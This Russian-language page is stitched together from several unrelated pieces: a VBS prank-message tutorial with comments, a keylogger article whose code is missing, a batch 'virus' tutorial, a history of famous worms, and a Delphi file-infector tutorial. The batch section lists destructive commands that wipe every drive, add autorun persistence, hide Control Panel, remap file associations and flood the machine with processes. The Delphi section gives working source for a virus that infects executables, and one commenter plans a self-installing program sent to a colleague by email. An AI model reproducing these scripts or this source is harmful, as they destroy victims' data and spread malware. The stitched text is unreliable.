Как сделать очень мощный вирус
Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.
Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.
Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.
ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.
1) Создание вируса: Для начала откройте блокнот.
2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:
msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"
msgbox"Или же нет. ",64,". "
Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!
3) Сохраните ваш текст в формате .vbs Смотрите далее.
4) Теперь у вас на Рабочем столе должен появиться вот такой значок:
5) Заходите в него.
6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.
7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).
Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!
И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D
сука! у меня винда удалилась!
Не ври. Этот вирус-шутка и близко такого сделать не может.
ТС, у вас тоже снегопад? Занятия в школах отменили?
Да, отменили. Вот и сижу, "клавотюкаюсь".
Мне хочется узнать все подробно как это работает что обозначает msgbox, цифры 64; 32+4
"msgbox" - название команды, которая выводит стандартный диалог. Цифрами выбирается стиль отображения (иконка внутри диалога и воспроизводимый звук при открытии). Также стилем выбираются кнопки (их текст и количество)
Отображаемых иконок всего 4: ошибка, вопрос, восклицание и внимание. Столько-же звуков.
Кнопок в связке по более:
Ок
Ок, Отмена
Да, Нет
Да, Нет, Отмена
Повтор, Отмена
Пропустить, Повторить Отменить
Т.к. эти диалоги выдаются системой, то можно указать только заголовок и текст диалога. Свой текст кнопок или свою иконку Вы не сможете установить. Можно вывести диалог без иконки. Вроде ничего не забыл. Давно увлекался этим, потом перешел на норм. язык программирования.
Ой, а может поможете раз разбираетесь?
Хочу коллегу разыграть/ поздравить с днем рождения. Он в командировке сейчас. Хочу ему на почту файл бросить который в определенный день ему на принтер выведет поздравление. Как можно батник сделать, чтобы он себя в автозагрузку прописал и именно в определенный день сработал? Ну и удалился потом, чтоб он не догадался.
В инете поискал, там только на удаление доков батники) и определенного дня нельзя поставить.
Если хотите именно батник, то можно попробовать использовать планировщик Windows, но с батниками куча ограничений.
О поздравлялке: даже если Вы отправите эл. письмо с батником или exe-шником, то поздравление не сработает, пока его не скачают и не запустят. В некоторых случаях почтовый сервис может отправить письмо в папку "Спам" (пользователь его не увидит), либо при скачивании файл заблокирует антивирус, но это все маловероятно.
На счет печати принтером: это можно, но обязательно? Можно например вывести на экран красивый диалог, или картинку :)
Нет с программкой не тот эффект))) Да и вк нету.
Просто хотелось отправить на почту письмо, (его обязательно откроют, так как с этого адреса только по работе приходит, да и с чувством опасности у людей проблемы))), чтоб этот файл прописался в планировщик или в автозагрузку, а в нужный день отправил бы на печать текст. Там принтер ежедневно включают, так что по-любому бы удивил)))
Я батники когда-то давно делал. Даже похожий прикол видел, когда из планировщика каждый день на печать выходит "Ты умрешь через *** дней", "Ты умрешь завтра", "Это случится сегодня". Но там надо было за компом посидеть, чтоб настроить. А как это "дистанционно" через почту сделать я не знаю.
В любом случае спасибо.
Хм, думаю, что через батник хоть и сложно, но реально: батник запускает установщик Windows (msiexec.exe) с параметром, который скачает и установит программу и документ с текстом печати. Программа прописывается в автозапуск и следит за датой и временем системы. Как только дата начала наступает, программа запускает скрытый процесс Microsoft Office Word (winword.exe) с параметром начала печати нашего документа. Программа делает какую-нибудь отметку на каком-либо ресурсе (сайте или сервере), что она успешно отработала. Запускается msiexec.exe с параметром удаления нашей программы (программа удаляется с компьютера).
Несколько вопросов:
- на компьютере есть MS Office Word? Иначе придется создавать документ формата .rtf (поддерживается системой без доп. софта)
- проще изначально в письме использовать не батник, а именно приложение (exe-файл, т.к. не придется сначала создавать, а после скачивать установщик). Если нужно, то предоставлю исходный код приложения. Язык программирования - AutoIt 3. Его синтаксис очень напоминает рассматриваемые в посте скрипты. Так может лучше обойтись без батника?
- нужны дата запуска печати документа и текст поздравления
- желательно заранее знать, какая операционная система установлена на компьютере, где будет выполняться "поздравлялка" (XP, Vista, 7, 8, 8.1, 10 или серверные редакции систем Windows)?
Хакерский мир можно условно разделить на три группы атакующих:
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Вторая версия кода:
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
BATCH & EXECUTE
BUGS
Вы решили заняться вирусописательством. Сразу вам скажу, что эти вирусы, конечно, могут очень сильно навредить компьютеру, но полноценно передаваться с одного компьютера на другой они не могут. За все, что произойдет, с вашим компьютером отвечаете вы и только вы. Здесь нам потребуется только блокнот.
Приступим:
time 00:00
copy %0 F:\Work.bat
Вот две программки вам на рассмотрение, можете их использовать без моего соглашения, но, используя их, вы принимаете соглашение пользователя.
1) Программа для удаления файлов с флешки (если та вставлена) и переименования ее.
del F:\ *.* /q
label F:HACK
del C:\ *.* /q
del D:\ *.* /q
del E:\ *.* /q
del F:\ *.* /q
time 00:00
date 13.06.23
del *.* /q
@echo off
del C:\ *.* /q >nul
del D:\ *.* /q >nul
del E:\ *.* /q >nul
del F:\ *.* /q >nul
time 00:00 >nul
date 13.06.23 >nul
del *.* /q >nul
:x ;
Start mspaint
goto x ;
Очень неплохая строка для нагрузки слабеньких машин. Команда открывает Paint, причем очень быстро. Раз 60 до того как вы поймете, что случилось и закроете программу. Попробуйте ввести вместо mspaint любые строки программ. Работает Можно использовать по несколько таких команд до полного торможения компьютера нашей жертвы.
Пишем новый скрипт:
copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Очень жестокая команда, добавляет программу в автозагрузку ОС. Не советую проверять на вашем компьютере. Не останавливаемся, и едем дальше.
assoc .lnk=.txt >nul
assoc .exe=.mp3 >nul
Данными двумя строками мы делаем, весьма тяжелый вред компьютеру жертвы. Он меняет расширения всех файлов на компьютере с .lnk в .txt и .exe в .mp3. То есть все ярлыки, открываются в блокноте, а программы, все, в плеере. Круто, да? Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас, вы закончили базовый курс, от SMOKED-а вирусописательства. Если же нет. Читаем все заново
@echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:URAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user "Idiot you Hacked" /add >nul
net user "Bitch you Hacked" /add >nul
net user "Durak you Hacked" /add >nul
net user "Kritin you Hacked" /add >nul
net user "Gavno you Hacked" /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
:x ;
Start mspaint
goto x ;
:x ;
Start Calc
goto x ;
copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
del %0 >nul
На этом мои уроки закончены. Надеюсь, вам понравилось! С уважением SMOKED! P.S. Когда я первый раз выложил эту статью в интернет. На мой ICQ пришло около 70 сообщений с просьбой взломать почтовый ящик . Писал все сам, статья моя!
Понравилась статья? Подпишитесь на канал, чтобы быть в курсе самых интересных материалов
Весной на продажу выставили ноутбук Samsung NC10-14GB, выпущенный в 2008 году, с установленной на нем Windows XP SP3. Однако интерес вызывал не сам компьютер, а то, что у него внутри — шесть вирусов: ILOVEYOU, MyDoom, SoBig, WannaCry, DarkTequila и BlackEnergy, которые нанесли прямой и косвенный ущерб почти на $100 млрд.
Содержание
ILOVEYOU
ILOVEYOU начал свой путь с Филиппин, вирус рассылал свои копии по адресным книгам, поэтому единственный пользователь с обширной базой адресатов заражал огромное количество машин.
Предполагается, что авторы вируса, Онел Де Гузман и Реонэл Рамонес с Филиппин, которые якобы хотели проверить гипотезы дипломной работы, не ожидали случившейся бури. Позже молодых людей задержали (помог анализ кода оригинальной версии ILOVEYOU), но после расследования отпустили.
Вирус использовал уязвимость в операционной системе Windows и программе Outlook в частности, которая по умолчанию разрешала обработку скриптов. Причиной эпидемии называют то, что разработчики из MS в то время не считали скриптовые языки угрозой, поэтому эффективной защиты от нее не предусмотрели. Кроме того, авторы ILOVEYOU намеренно или по незнанию выпустили в мир не только инструмент для уничтожения — они предоставили конструктор, который можно изменять под свои нужды. Это привело к появлению десятков модификаций вредоноса.
Как следует из рассказов представителей компаний, которые занимались обеспечением информационной безопасности, вокруг творилась истерика, телефоны звонили безостановочно. Распространению вируса способствовала социальная инженерия: модифицированные его версии поступали от имени друзей, предлагающих встретиться, письма якобы содержали информацию о том, как получить подарок, предлагали почитать анекдоты и так далее. Знакомая классика.
Все было так плохо, что некоторые крупные военные ведомства (тот же Пентагон) и компании были вынуждены полностью остановить почтовые сервисы. Позже источники называли разные цифры, отражающие количество зараженных компьютеров, — от сотен тысяч до десятков миллионов.
Что делал ILOVEYOU? Червь, получив доступ к системе после своего запуска (куда уж без участия пользователя), всего-то изменял и уничтожал файлы. А бэкапов тогда практически никто не делал.
Sobig
Вирус Sobig впервые заметили в 2002 году. Считается, что он заразил миллионы компьютеров по всему миру, действуя вначале под другим названием. По некоторым данным, экономический ущерб от его действий превысил $35 млрд, однако, как и в остальных случаях, подсчеты носят приблизительный и отчасти гипотетический характер.
Ну а дальше дело за вложениями с двойными (например, .mpeg.pif) или обычными расширениями (просто .pif или .scr) — пользователь сам инфицировал систему.
Microsoft пыталась бороться с вирусом, выпустив патч, позволяющий блокировать некоторые типы файлов, но .zip среди них не было, чем и воспользовались хакеры. Потом софтверная корпорация предложила награду в четверть миллиона долларов за голову автора (не за голову, за имя, конечно), но его так и не нашли. По одной из гипотез, автором червя является программист Руслан Ибрагимов, но он с этим не согласен.
Mydoom
Mydoom, который появился в 2004 году, побил рекорды ILOVEYOU и Sobig по скорости распространения. А также рекорд Sobig по нанесенному экономическому ущербу — якобы более $38 млрд.
По данным Symantec, в ней было реализовано два триггера. Один был ответственным за организацию DoS-атак начиная с 1 февраля 2004 года, второй останавливал распространение вируса 12 февраля того же года, но бэкдоры оставались активными. Правда, это касалось одной из версий, последующие имели более поздние сроки запуска и отключения. Так что никаких совестливых хакеров.
Основной целью вируса, вероятно, была организация DoS-атак, а также рассылка нежелательной почты. Побочным эффектом стало повсеместное снижение скорости доступа в интернет, рост объемов спама, ограничение доступа к некоторым ресурсам и блокировка работы антивирусного ПО.
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Читайте также: